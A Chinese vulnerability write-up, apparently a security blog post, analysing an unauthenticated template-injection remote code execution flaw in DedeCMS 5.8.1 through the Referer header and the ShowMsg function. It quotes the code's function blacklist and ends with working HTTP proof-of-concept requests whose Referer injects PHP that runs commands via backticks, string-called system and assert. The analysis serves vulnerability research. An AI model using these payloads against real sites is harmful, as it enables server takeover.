DedeCMS_V5.8.1 ShowMsg 模板注入远程代码执行漏洞分析

楔子

晚上在Srcincite上面看到了国外发布的DedeCMS_V5.8.1前台任意未授权命令执行,一时兴起就下下来分析了一波,自己也比较菜,有些点可能都说的不是很明白,其实这洞蛮简单的,有点类似于以前那个dz的前台代码执行,在写入临时tpl缓存文件的时候,缓存内容中存在可控的函数且使用了include进行包含,导致我们可以写入任意代码,造成代码执行,话不多说直接进入正题,漏洞主要是由于include\common.func.php中定义的ShowMsg参数导致的,任何文件存在调用ShowMsg的情况下,都可以造成模板注入,下面以Plus/recommend.php为例展开分析:

Plus/recommend.php
先看到recommend.php,


贴出关键代码:

require_once dirname(__FILE__) . "/../include/common.inc.php";//全局常用函数require_once DEDEINC . '/common.func.php';
if (empty($aid)) {
    ShowMsg("文档ID不能为空!", "-1");
    exit();
}

include/common.func.php
接着进入到common.func.php


贴出关键代码:

if ($gourl == -1) {
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if ($gourl == "") {
            $gourl = -1;
        }
    }
    ......
    function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }//$gourl的获取方式为$_SERVER['HTTP_REFERER']可控

    $msg = $htmlhead . $rmsg . $htmlfoot;
    $tpl = new DedeTemplate();
    $tpl->LoadString($msg);//dedetemplate.class.php
    $tpl->Display();

以上就是临时构造的模板内容,且$gourl可控,在Plus/recommend.php中给gourl定义默认为-1//ShowMsg("文档ID不能为空!", "-1");,所以$gourl的值为REFERER,接着看处理模板的地方。

include/dedetemplate.class.php
在dedetemplate.class.php中,跟进到LoadString函数

public function LoadString($str = '')
    {
        $this->sourceString = $str;
        $hashcode = md5($this->sourceString);
        $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";//生成的缓存文件名
        $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
        $this->ParseTemplate();
    }

Display函数

public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache();
        include $this->cacheFile;
    }

我们前面gourl注入的恶意代码,通过调用WriteCache写入

public function WriteCache($ctype = 'all')
    {
        if (!file_exists($this->cacheFile) || $this->isCache == false
            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
        ) {
            if (!$this->isParse) {
                $this->ParseTemplate();
            }
            $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
            flock($fp, 3);
            $result = trim($this->GetResult());
            $errmsg = '';
            if (!$this->CheckDisabledFunctions($result, $errmsg)) {
                fclose($fp);
                @unlink($this->cacheFile);
                die($errmsg);
            }
            fwrite($fp, $result);
            fclose($fp);
            if (count($this->tpCfgs) > 0) {
                $fp = fopen($this->configFile, 'w') or dir("Write Config File Error! ");
                flock($fp, 3);
                fwrite($fp, '<' . '?php' . "\r\n");
                foreach ($this->tpCfgs as $k => $v) {
                    $v = str_replace("\"", "\\\"", $v);
                    $v = str_replace("\$", "\\\$", $v);
                    fwrite($fp, "\$this->tpCfgs['$k']=\"$v\";\r\n");
                }
                fwrite($fp, '?' . '>');
                fclose($fp);
            }
        }

我们可以先看一下赋值Referer为coldwater,然后写入的模板内容。


现在我们将Referer替换为注入代码,当然我们如果直接写一些常见的危险函数是不行的,因为在dedetemplate.class.php中,存在CheckDisabledFunctions函数,CheckDisabledFunctions函数在WriteCache中被调用,会对内容进行一个检测。

public function CheckDisabledFunctions($str, &$errmsg = '')
    {
        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }


但是很明显,assert不在这个黑名单里面,且对get和post请求中的字符没有过,滤我们可以利用assert或者call_user_func执行任意代码.


除此之外,也并没有对""进行检测,在php中,""中的字符串可以被解析为函数,此外对反应号也没有检测,贴出实例。
 


POC:

GET /plus/recommend.php?b=dir  HTTP/1.1
Host: 127.0.0.1
Referer: <?php $b = `$a`;  echo "<pre>$b</pre>";/*
Referer: <?php "system" ($b); /*
Referer: <?php  assert  ($b); /*

首发 先知社区

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值